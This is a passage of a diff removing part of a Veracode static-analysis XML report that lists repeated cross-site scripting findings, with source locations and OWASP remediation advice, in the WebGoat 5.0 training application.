-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
